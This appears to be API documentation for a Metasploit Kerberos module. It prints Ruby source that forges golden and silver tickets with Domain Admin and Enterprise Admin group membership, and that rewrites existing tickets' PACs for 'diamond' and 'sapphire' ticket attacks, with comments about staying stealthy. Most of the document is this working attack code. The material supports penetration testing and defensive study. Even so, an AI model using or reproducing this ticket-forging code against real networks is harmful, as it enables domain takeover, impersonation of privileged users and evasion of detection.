Module: Msf::Exploit::Remote::Kerberos::Ticket

Defined in:
lib/msf/core/exploit/remote/kerberos/ticket.rb,
lib/msf/core/exploit/remote/kerberos/ticket/storage.rb

Defined Under Namespace

Modules: Storage

Constant Summary collapse

GROUP_IDS = 
[
  Rex::Proto::Kerberos::Pac::DOMAIN_USERS,
  Rex::Proto::Kerberos::Pac::DOMAIN_ADMINS,
  Rex::Proto::Kerberos::Pac::GROUP_POLICY_CREATOR_OWNERS,
  Rex::Proto::Kerberos::Pac::SCHEMA_ADMINISTRATORS,
  Rex::Proto::Kerberos::Pac::ENTERPRISE_ADMINS,
]

Instance Method Summary collapse

Instance Method Details

#ccache?(header) ⇒ Boolean

Returns:

  • (Boolean) 


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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 282

def ccache?(header)
  header[0..1] == "\x05\x04"
end

#create_ccache_principal(principle, realm) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 276

def create_ccache_principal(principle, realm)
  Rex::Proto::Kerberos::CredentialCache::Krb5CcachePrincipal.new(name_type: principle.name_type,
                                                                 components: principle.name_string,
                                                                 realm: realm)
end

#create_enc_ticket_part(opts:) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 196

def create_enc_ticket_part(opts:)
  ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.new

  ticket_enc_part.key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
    type: opts[:enc_type], value: opts[:session_key]
  )
  ticket_enc_part.flags = opts[:flags]
  ticket_enc_part.crealm = opts[:realm]
  ticket_enc_part.cname = opts[:client]
  ticket_enc_part.transited = Rex::Proto::Kerberos::Model::TransitedEncoding.new(tr_type: 0, contents: '')
  ticket_enc_part.authtime = opts[:auth_time]
  ticket_enc_part.starttime = opts[:start_time]
  ticket_enc_part.endtime = opts[:end_time]
  ticket_enc_part.renew_till = opts[:renew_till]
  if opts[:create_ticket_checksum]
    opts[:ticket_checksum] = create_ticket_checksum(opts[:checksum_type],
                                                    opts[:checksum_enc_key],
                                                    ticket_enc_part)
  end
  ticket_enc_part.authorization_data = build_pac_authorization_data(opts)
  ticket_enc_part
end

#create_new_sid(existing_sid, new_rid) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 189

def create_new_sid(existing_sid, new_rid)
  existing_sid = existing_sid.to_s
  domain_sid = existing_sid[0..existing_sid.rindex('-')]

  "#{domain_sid}#{new_rid}"
end

#create_principal(name) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 269

def create_principal(name)
  Rex::Proto::Kerberos::Model::PrincipalName.new(
    name_type: Rex::Proto::Kerberos::Model::NameType::NT_PRINCIPAL,
    name_string: Array.wrap(name)
  )
end

#encrypt_ticket_enc_part(ticket_enc_part:, key:, enc_type:) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 219

def encrypt_ticket_enc_part(ticket_enc_part:, key:, enc_type:)
  enc_class = Rex::Proto::Kerberos::Crypto::Encryption.from_etype(enc_type)

  encrypted = enc_class.encrypt(
    ticket_enc_part.encode, key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET
  )

  Rex::Proto::Kerberos::Model::EncryptedData.new(
    etype: enc_type, kvno: 2, cipher: encrypted
  )
end

#forge_ticket(enc_key:, enc_type:, start_time:, end_time:, sname:, flags:, domain:, username:, user_id: Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID, domain_sid:, extra_sids: [], session_key: nil, ticket_checksum: false, is_golden: true) ⇒ Object

Parameters:

  • session_key (String) (defaults to: nil) —

    The session key

  • extra_sids (Array<String>) (defaults to: []) —

    An array of extra sids, Ex: `['S-1-5-etc-etc-519']`



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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 35

def forge_ticket(enc_key:, enc_type:, start_time:, end_time:, sname:, flags:,
                 domain:, username:, user_id: Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID,
                 domain_sid:, extra_sids: [], session_key: nil, ticket_checksum: false, is_golden: true)
  sname_principal = create_principal(sname)
  cname_principal = create_principal(username)
  checksum_type = get_checksum_type(enc_type)

  session_key_byte_length = enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256 ? 32 : 16
  session_key ||= SecureRandom.hex(session_key_byte_length / 2)
  if session_key.bytes.length != session_key_byte_length
    raise "Invalid key length for session key, expected #{session_key_byte_length}, got #{session_key.length} for session key #{session_key}"
  end

  opts = {
    client: cname_principal,
    server: sname_principal,
    auth_time: start_time,
    start_time: start_time,
    end_time: end_time,
    renew_till: end_time,
    realm: domain.upcase,
    key_value: enc_key,
    checksum_enc_key: enc_key,
    session_key: session_key,
    enc_type: enc_type,
    user_id: user_id,
    group_ids: GROUP_IDS,
    checksum_type: checksum_type,
    client_name: username,
    domain_id: domain_sid,
    extra_sids: extra_sids,
    flags: flags,
    create_ticket_checksum: ticket_checksum,
    is_golden: is_golden
  }

  ticket_enc_part = create_enc_ticket_part(opts: opts)
  enc_part = encrypt_ticket_enc_part(
    ticket_enc_part: ticket_enc_part, key: opts[:key_value], enc_type: opts[:enc_type]
  )
  ticket = Rex::Proto::Kerberos::Model::Ticket.new(
    tkt_vno: Rex::Proto::Kerberos::Model::VERSION,
    realm: opts[:realm],
    sname: opts[:server],
    enc_part: enc_part
  )
  # Wrap the ticket up with its metadata, i.e. its key/sname/time information etc
  ccache = ticket_as_krb5ccache(ticket, opts: opts)

  ccache
end

#get_checksum_type(enc_type) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 19

def get_checksum_type(enc_type)
  # https://www.ietf.org/rfc/rfc3962.txt#:~:text=7.%20%20Assigned%20Numbers
  case enc_type
  when Rex::Proto::Kerberos::Crypto::Encryption::AES256
    Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES256
  when Rex::Proto::Kerberos::Crypto::Encryption::AES128
    Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES128
  when Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC
    Rex::Proto::Kerberos::Crypto::Checksum::HMAC_MD5
  else
    raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("Unknown crypto type: #{enc_type}")
  end
end

#kirbi?(header) ⇒ Boolean

Returns:

  • (Boolean) 


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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 286

def kirbi?(header)
  header[0] == "\x76"
end

#modify_ticket(ticket, enc_kdc_response, new_user, new_user_rid, domain, extra_sids, ticket_decryption_key, ticket_encryption_type, ticket_encryption_key, copy_entire_pac) ⇒ Object

Take an existing ticket and change its PAC to have the provided user value (Used for diamond ticket functionality)

Parameters:

  • ticket (Ticket) —

    The ticket to modify

  • enc_kdc_response (EncKdcResponse) —

    The decrypted KDC response containing contextual information

  • new_user (String) —

    The username to apply to the ticket

  • new_user_rid (Integer) —

    The user RID to apply to the ticket

  • domain (String) —

    The domain of the user

  • extra_sids (List<String>) —

    Extra SIDs to include in the ticket

  • ticket_decryption_key (String) —

    The encryption key of the existing ticket (krbtgt or a session key)

  • ticket_encryption_type (Integer) —

    The encryption type of the resulting ticket

  • ticket_encryption_key (String) —

    The encryption key for the resulting ticket (usually krbtgt)

  • copy_entire_pac (Boolean) —

    Whether to copy all values (extra stealth, as long as the values are accurate i.e. sapphire ticket), or just the important ones



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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 101

def modify_ticket(ticket, enc_kdc_response, new_user, new_user_rid, domain, extra_sids, ticket_decryption_key, ticket_encryption_type, ticket_encryption_key, copy_entire_pac)
  ticket_enc_part = ticket.enc_part
  decrypted_ticket_part = ticket_enc_part.decrypt_asn1(ticket_decryption_key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
  decoded_ticket_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(decrypted_ticket_part)
  auth_data_val = decoded_ticket_part.authorization_data.elements.select { |element| element[:type] == Rex::Proto::Kerberos::Model::AuthorizationDataType::AD_IF_RELEVANT}
  if auth_data_val.length != 1
    raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("#{elements.length} PAC AD_IF_RELEVANT elements found (expected 1)")
  end

  pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.decode(auth_data_val[0][:data])
  elements = pac_auth_data.elements.select { |element| element[:type] == Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC}

  if elements.length != 1
    raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("#{elements.length} PAC elements found (expected 1)")
  end

  realm = domain
  checksum_type = get_checksum_type(ticket_encryption_type)
  existing_pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(elements[0][:data])
  cname_principal = create_principal(new_user)

  sname_principal = create_principal(['krbtgt',domain.upcase])
  opts = {
    client: cname_principal,
    server: sname_principal,
    auth_time: enc_kdc_response.auth_time,
    start_time: enc_kdc_response.start_time,
    end_time: enc_kdc_response.end_time,
    renew_till: enc_kdc_response.renew_till,
    realm: realm.upcase,
    key_value: ticket_encryption_key,
    checksum_enc_key: ticket_encryption_key,
    session_key: enc_kdc_response.key.value,
    enc_type: enc_kdc_response.key.type,
    user_id: new_user_rid,
    group_ids: GROUP_IDS,
    checksum_type: checksum_type,
    client_name: new_user,
    extra_sids: extra_sids,
    flags: Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgt_flags),
    create_ticket_checksum: false,
    is_golden: true,
  }
  ####

  domain_sid = nil
  existing_pac.pac_info_buffers.each do |buff|
    element = buff.buffer.pac_element
    case element.ul_type
    when Rex::Proto::Kerberos::Pac::Krb5PacElementType::LOGON_INFORMATION
      opts[:group_id] = element.data.primary_group_id.value
      opts[:domain_id] = element.data.logon_domain_id
      opts[:logon_domain_name] = element.data.logon_domain_name
      opts[:logon_count] = element.data.logon_count
      opts[:password_last_set] = element.data.password_last_set
      opts[:user_id] = element.data.user_id unless opts[:user_id]
      if copy_entire_pac
        opts[:base_verification_info] = element.data
        element.data.extra_sids.each do |sid|
          opts[:extra_sids].append(sid.sid.to_s)
        end
      end
    when Rex::Proto::Kerberos::Pac::Krb5PacElementType::USER_PRINCIPAL_NAME_AND_DNS_INFORMATION
      if copy_entire_pac
        opts[:upn_dns_info_pac_element] = element
      end
    when Rex::Proto::Kerberos::Pac::Krb5PacElementType::TICKET_CHECKSUM
      # We want to be stealthy and match whatever the KDC is doing, so we should do it too
      opts[:create_ticket_checksum] = true
    end
  end

  ticket_enc_part = create_enc_ticket_part(opts: opts)
  enc_part = encrypt_ticket_enc_part(
    ticket_enc_part: ticket_enc_part, key: ticket_encryption_key, enc_type: ticket_encryption_type
  )
  ticket = Rex::Proto::Kerberos::Model::Ticket.new(
    tkt_vno: Rex::Proto::Kerberos::Model::VERSION,
    realm: opts[:realm],
    sname: opts[:server],
    enc_part: enc_part
  )

  ccache = ticket_as_krb5ccache(ticket, opts: opts)

  ccache
end

#print_ccache_contents(ccache, key: nil) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 306

def print_ccache_contents(ccache, key: nil)
  presenter = Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(ccache)
  print_status presenter.present(key: key)
end

#print_contents(path, key: nil) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 290

def print_contents(path, key: nil)
  header = File.binread(path, 2)
  if ccache?(header)
    print_status "Credentials cache: File:#{path}"
    ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(File.binread(path))
    print_ccache_contents(ccache, key: key)
  elsif kirbi?(header)
    print_status "Kirbi File:#{path}"
    krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(File.binread(path))
    ccache = Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)
    print_ccache_contents(ccache, key: key)
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unknown file format')
  end
end

#tgs_flags ⇒ Object 



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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 231

def tgs_flags
  [
    Rex::Proto::Kerberos::Model::TicketFlags::FORWARDABLE,
    Rex::Proto::Kerberos::Model::TicketFlags::PROXIABLE,
    Rex::Proto::Kerberos::Model::TicketFlags::RENEWABLE,
    Rex::Proto::Kerberos::Model::TicketFlags::PRE_AUTHENT
  ]
end

#tgt_flags ⇒ Object 



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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 240

def tgt_flags
  tgs_flags << Rex::Proto::Kerberos::Model::TicketFlags::INITIAL
end

#ticket_as_krb5ccache(ticket, opts:) ⇒ Rex::Proto::Kerberos::CredentialCache::Krb5Ccache

Parameters:

Returns:



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# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 247

def ticket_as_krb5ccache(ticket, opts:)
  Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.new(
    default_principal: create_ccache_principal(opts[:client], opts[:realm]),
    credentials: [
      {
        client: create_ccache_principal(opts[:client], opts[:realm]),
        server: create_ccache_principal(opts[:server], opts[:realm]),
        keyblock: {
          enctype: opts[:enc_type],
          data: opts[:session_key]
        },
        authtime: opts[:auth_time],
        starttime: opts[:start_time],
        endtime: opts[:end_time],
        renew_till: opts[:renew_till],
        ticket_flags: opts[:flags].to_i,
        ticket: ticket.encode
      }
    ]
  )
end